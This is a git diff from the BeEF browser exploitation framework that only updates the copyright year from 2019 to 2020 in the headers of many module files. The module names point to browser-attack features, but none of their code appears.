a/modules/browser/hooked_domain/get_local_storage/module.rb b/modules/browser/hooked_domain/get_local_storage/module.rb index 3e064e090..c94edc4f5 100644 --- a/modules/browser/hooked_domain/get_local_storage/module.rb +++ b/modules/browser/hooked_domain/get_local_storage/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/get_page_html/command.js b/modules/browser/hooked_domain/get_page_html/command.js index 780a974d7..aaf8ea846 100644 --- a/modules/browser/hooked_domain/get_page_html/command.js +++ b/modules/browser/hooked_domain/get_page_html/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/hooked_domain/get_page_html/config.yaml b/modules/browser/hooked_domain/get_page_html/config.yaml index 986f4d59d..a3bec41fc 100644 --- a/modules/browser/hooked_domain/get_page_html/config.yaml +++ b/modules/browser/hooked_domain/get_page_html/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/get_page_html/module.rb b/modules/browser/hooked_domain/get_page_html/module.rb index a33493e9d..4d27e7d7e 100644 --- a/modules/browser/hooked_domain/get_page_html/module.rb +++ b/modules/browser/hooked_domain/get_page_html/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/get_page_html_iframe/command.js b/modules/browser/hooked_domain/get_page_html_iframe/command.js index 683a9a3fe..c9fe7d8c3 100644 --- a/modules/browser/hooked_domain/get_page_html_iframe/command.js +++ b/modules/browser/hooked_domain/get_page_html_iframe/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/hooked_domain/get_page_html_iframe/config.yaml b/modules/browser/hooked_domain/get_page_html_iframe/config.yaml index e5cd82756..7a39f10da 100644 --- a/modules/browser/hooked_domain/get_page_html_iframe/config.yaml +++ b/modules/browser/hooked_domain/get_page_html_iframe/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/get_page_html_iframe/module.rb b/modules/browser/hooked_domain/get_page_html_iframe/module.rb index 41ff6aa8f..8baa8600f 100644 --- a/modules/browser/hooked_domain/get_page_html_iframe/module.rb +++ b/modules/browser/hooked_domain/get_page_html_iframe/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/get_page_links/command.js b/modules/browser/hooked_domain/get_page_links/command.js index a39146d3d..c7695817d 100644 --- a/modules/browser/hooked_domain/get_page_links/command.js +++ b/modules/browser/hooked_domain/get_page_links/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/hooked_domain/get_page_links/config.yaml b/modules/browser/hooked_domain/get_page_links/config.yaml index b00c847c1..2dd48c493 100644 --- a/modules/browser/hooked_domain/get_page_links/config.yaml +++ b/modules/browser/hooked_domain/get_page_links/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/get_page_links/module.rb b/modules/browser/hooked_domain/get_page_links/module.rb index 0817d3583..cfc5c3551 100644 --- a/modules/browser/hooked_domain/get_page_links/module.rb +++ b/modules/browser/hooked_domain/get_page_links/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/get_session_storage/command.js b/modules/browser/hooked_domain/get_session_storage/command.js index b7e2c1202..737d3ca76 100644 --- a/modules/browser/hooked_domain/get_session_storage/command.js +++ b/modules/browser/hooked_domain/get_session_storage/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/hooked_domain/get_session_storage/config.yaml b/modules/browser/hooked_domain/get_session_storage/config.yaml index f892d2a19..aed73f3b4 100644 --- a/modules/browser/hooked_domain/get_session_storage/config.yaml +++ b/modules/browser/hooked_domain/get_session_storage/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/get_session_storage/module.rb b/modules/browser/hooked_domain/get_session_storage/module.rb index 23f432bd2..6e225e531 100644 --- a/modules/browser/hooked_domain/get_session_storage/module.rb +++ b/modules/browser/hooked_domain/get_session_storage/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/get_stored_credentials/command.js b/modules/browser/hooked_domain/get_stored_credentials/command.js index 24cf077eb..e49b8c58e 100644 --- a/modules/browser/hooked_domain/get_stored_credentials/command.js +++ b/modules/browser/hooked_domain/get_stored_credentials/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/hooked_domain/get_stored_credentials/config.yaml b/modules/browser/hooked_domain/get_stored_credentials/config.yaml index 8526be787..eaef85018 100644 --- a/modules/browser/hooked_domain/get_stored_credentials/config.yaml +++ b/modules/browser/hooked_domain/get_stored_credentials/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/get_stored_credentials/module.rb b/modules/browser/hooked_domain/get_stored_credentials/module.rb index 51ca615b0..1de4d81b7 100644 --- a/modules/browser/hooked_domain/get_stored_credentials/module.rb +++ b/modules/browser/hooked_domain/get_stored_credentials/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/link_rewrite/command.js b/modules/browser/hooked_domain/link_rewrite/command.js index ecc753b9a..fc2fd1739 100644 --- a/modules/browser/hooked_domain/link_rewrite/command.js +++ b/modules/browser/hooked_domain/link_rewrite/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/hooked_domain/link_rewrite/config.yaml b/modules/browser/hooked_domain/link_rewrite/config.yaml index 74510edc0..225e6eac6 100644 --- a/modules/browser/hooked_domain/link_rewrite/config.yaml +++ b/modules/browser/hooked_domain/link_rewrite/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/link_rewrite/module.rb b/modules/browser/hooked_domain/link_rewrite/module.rb index bcc4a6654..b79ea7060 100644 --- a/modules/browser/hooked_domain/link_rewrite/module.rb +++ b/modules/browser/hooked_domain/link_rewrite/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/link_rewrite_click_events/command.js b/modules/browser/hooked_domain/link_rewrite_click_events/command.js index 78287e232..f9733ba6a 100644 --- a/modules/browser/hooked_domain/link_rewrite_click_events/command.js +++ b/modules/browser/hooked_domain/link_rewrite_click_events/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/hooked_domain/link_rewrite_click_events/config.yaml b/modules/browser/hooked_domain/link_rewrite_click_events/config.yaml index dcb33a0be..cd79fab2d 100644 --- a/modules/browser/hooked_domain/link_rewrite_click_events/config.yaml +++ b/modules/browser/hooked_domain/link_rewrite_click_events/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/link_rewrite_click_events/module.rb b/modules/browser/hooked_domain/link_rewrite_click_events/module.rb index 87bc3ba8b..99fb3aad4 100644 --- a/modules/browser/hooked_domain/link_rewrite_click_events/module.rb +++ b/modules/browser/hooked_domain/link_rewrite_click_events/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/link_rewrite_sslstrip/command.js b/modules/browser/hooked_domain/link_rewrite_sslstrip/command.js index 741d7d5b1..9037602d4 100644 --- a/modules/browser/hooked_domain/link_rewrite_sslstrip/command.js +++ b/modules/browser/hooked_domain/link_rewrite_sslstrip/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/hooked_domain/link_rewrite_sslstrip/config.yaml b/modules/browser/hooked_domain/link_rewrite_sslstrip/config.yaml index c44c25656..43bec113a 100644 --- a/modules/browser/hooked_domain/link_rewrite_sslstrip/config.yaml +++ b/modules/browser/hooked_domain/link_rewrite_sslstrip/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/link_rewrite_sslstrip/module.rb b/modules/browser/hooked_domain/link_rewrite_sslstrip/module.rb index af3237c11..21f5cdce4 100644 --- a/modules/browser/hooked_domain/link_rewrite_sslstrip/module.rb +++ b/modules/browser/hooked_domain/link_rewrite_sslstrip/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/link_rewrite_tel/command.js b/modules/browser/hooked_domain/link_rewrite_tel/command.js index 286503483..55b6b0ba6 100644 --- a/modules/browser/hooked_domain/link_rewrite_tel/command.js +++ b/modules/browser/hooked_domain/link_rewrite_tel/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/hooked_domain/link_rewrite_tel/config.yaml b/modules/browser/hooked_domain/link_rewrite_tel/config.yaml index 88237f261..7e2fe35d4 100644 --- a/modules/browser/hooked_domain/link_rewrite_tel/config.yaml +++ b/modules/browser/hooked_domain/link_rewrite_tel/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/link_rewrite_tel/module.rb b/modules/browser/hooked_domain/link_rewrite_tel/module.rb index 71c1f2bf5..5c98d1980 100644 --- a/modules/browser/hooked_domain/link_rewrite_tel/module.rb +++ b/modules/browser/hooked_domain/link_rewrite_tel/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/mobilesafari_address_spoofing/command.js b/modules/browser/hooked_domain/mobilesafari_address_spoofing/command.js index e052004d1..d18dd0dc6 100644 --- a/modules/browser/hooked_domain/mobilesafari_address_spoofing/command.js +++ b/modules/browser/hooked_domain/mobilesafari_address_spoofing/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml b/modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml index 9f9d0b7e7..29a0d8d34 100644 --- a/modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml +++ b/modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/mobilesafari_address_spoofing/module.rb b/modules/browser/hooked_domain/mobilesafari_address_spoofing/module.rb index a98961a9e..1ca4db351 100644 --- a/modules/browser/hooked_domain/mobilesafari_address_spoofing/module.rb +++ b/modules/browser/hooked_domain/mobilesafari_address_spoofing/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/overflow_cookiejar/command.js b/modules/browser/hooked_domain/overflow_cookiejar/command.js index 4467e386c..bc63d0c70 100644 --- a/modules/browser/hooked_domain/overflow_cookiejar/command.js +++ b/modules/browser/hooked_domain/overflow_cookiejar/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/hooked_domain/overflow_cookiejar/config.yaml b/modules/browser/hooked_domain/overflow_cookiejar/config.yaml index 5b483148a..d8a6ebe0e 100644 --- a/modules/browser/hooked_domain/overflow_cookiejar/config.yaml +++ b/modules/browser/hooked_domain/overflow_cookiejar/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/overflow_cookiejar/module.rb b/modules/browser/hooked_domain/overflow_cookiejar/module.rb index e6aa893a7..535b1bcef 100644 --- a/modules/browser/hooked_domain/overflow_cookiejar/module.rb +++ b/modules/browser/hooked_domain/overflow_cookiejar/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/prompt_dialog/command.js b/modules/browser/hooked_domain/prompt_dialog/command.js index 95b371eac..24fc124a9 100644 --- a/modules/browser/hooked_domain/prompt_dialog/command.js +++ b/modules/browser/hooked_domain/prompt_dialog/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/hooked_domain/prompt_dialog/config.yaml b/modules/browser/hooked_domain/prompt_dialog/config.yaml index e49ce1978..4ae0f6bc2 100644 --- a/modules/browser/hooked_domain/prompt_dialog/config.yaml +++ b/modules/browser/hooked_domain/prompt_dialog/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/prompt_dialog/module.rb b/modules/browser/hooked_domain/prompt_dialog/module.rb index 172f51a4e..748e79410 100644 --- a/modules/browser/hooked_domain/prompt_dialog/module.rb +++ b/modules/browser/hooked_domain/prompt_dialog/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/remove_stuck_iframes/command.js b/modules/browser/hooked_domain/remove_stuck_iframes/command.js index a70ee86a4..3d59ff6e9 100644 --- a/modules/browser/hooked_domain/remove_stuck_iframes/command.js +++ b/modules/browser/hooked_domain/remove_stuck_iframes/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/hooked_domain/remove_stuck_iframes/config.yaml b/modules/browser/hooked_domain/remove_stuck_iframes/config.yaml index 4d4641eb8..7337c4a50 100644 --- a/modules/browser/hooked_domain/remove_stuck_iframes/config.yaml +++ b/modules/browser/hooked_domain/remove_stuck_iframes/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/remove_stuck_iframes/module.rb b/modules/browser/hooked_domain/remove_stuck_iframes/module.rb index 8a90f0bb4..f5a44e3a3 100644 --- a/modules/browser/hooked_domain/remove_stuck_iframes/module.rb +++ b/modules/browser/hooked_domain/remove_stuck_iframes/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/replace_video/command.js b/modules/browser/hooked_domain/replace_video/command.js index d44461aa3..d986c7307 100644 --- a/modules/browser/hooked_domain/replace_video/command.js +++ b/modules/browser/hooked_domain/replace_video/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/hooked_domain/replace_video/config.yaml b/modules/browser/hooked_domain/replace_video/config.yaml index 9b06a95a0..5bfa407b2 100644 --- a/modules/browser/hooked_domain/replace_video/config.yaml +++ b/modules/browser/hooked_domain/replace_video/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/replace_video/module.rb b/modules/browser/hooked_domain/replace_video/module.rb index e363c2a1a..f55faaf63 100644 --- a/modules/browser/hooked_domain/replace_video/module.rb +++ b/modules/browser/hooked_domain/replace_video/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/rickroll/command.js b/modules/browser/hooked_domain/rickroll/command.js index 53c43c60f..f3e0c51b8 100644 --- a/modules/browser/hooked_domain/rickroll/command.js +++ b/modules/browser/hooked_domain/rickroll/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/hooked_domain/rickroll/config.yaml b/modules/browser/hooked_domain/rickroll/config.yaml index d639a8415..fc5277298 100644 --- a/modules/browser/hooked_domain/rickroll/config.yaml +++ b/modules/browser/hooked_domain/rickroll/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/rickroll/module.rb b/modules/browser/hooked_domain/rickroll/module.rb index 6e5dc57c9..54ed37480 100644 --- a/modules/browser/hooked_domain/rickroll/module.rb +++ b/modules/browser/hooked_domain/rickroll/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/site_redirect/command.js b/modules/browser/hooked_domain/site_redirect/command.js index 49996e46b..ec1635790 100644 --- a/modules/browser/hooked_domain/site_redirect/command.js +++ b/modules/browser/hooked_domain/site_redirect/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/hooked_domain/site_redirect/config.yaml b/modules/browser/hooked_domain/site_redirect/config.yaml index 2810a4e38..23772a5f4 100644 --- a/modules/browser/hooked_domain/site_redirect/config.yaml +++ b/modules/browser/hooked_domain/site_redirect/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/site_redirect/module.rb b/modules/browser/hooked_domain/site_redirect/module.rb index bbde58498..cf7659e0b 100644 --- a/modules/browser/hooked_domain/site_redirect/module.rb +++ b/modules/browser/hooked_domain/site_redirect/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/site_redirect_iframe/command.js b/modules/browser/hooked_domain/site_redirect_iframe/command.js index bf82709d6..c88b5d493 100644 --- a/modules/browser/hooked_domain/site_redirect_iframe/command.js +++ b/modules/browser/hooked_domain/site_redirect_iframe/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/hooked_domain/site_redirect_iframe/config.yaml b/modules/browser/hooked_domain/site_redirect_iframe/config.yaml index 210d71f8a..1c1f3df23 100644 --- a/modules/browser/hooked_domain/site_redirect_iframe/config.yaml +++ b/modules/browser/hooked_domain/site_redirect_iframe/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/site_redirect_iframe/module.rb b/modules/browser/hooked_domain/site_redirect_iframe/module.rb index cc7070962..c2af2805f 100644 --- a/modules/browser/hooked_domain/site_redirect_iframe/module.rb +++ b/modules/browser/hooked_domain/site_redirect_iframe/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/play_sound/command.js b/modules/browser/play_sound/command.js index dd46cc4dc..4b32d9c44 100644 --- a/modules/browser/play_sound/command.js +++ b/modules/browser/play_sound/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/play_sound/config.yaml b/modules/browser/play_sound/config.yaml index e3f5e284f..d718f498d 100644 --- a/modules/browser/play_sound/config.yaml +++ b/modules/browser/play_sound/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/play_sound/module.rb b/modules/browser/play_sound/module.rb index 16917ccb6..7e81488e5 100644 --- a/modules/browser/play_sound/module.rb +++ b/modules/browser/play_sound/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/remove_hook_element/command.js b/modules/browser/remove_hook_element/command.js index a85cc8139..4d677e317 100644 --- a/modules/browser/remove_hook_element/command.js +++ b/modules/browser/remove_hook_element/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // 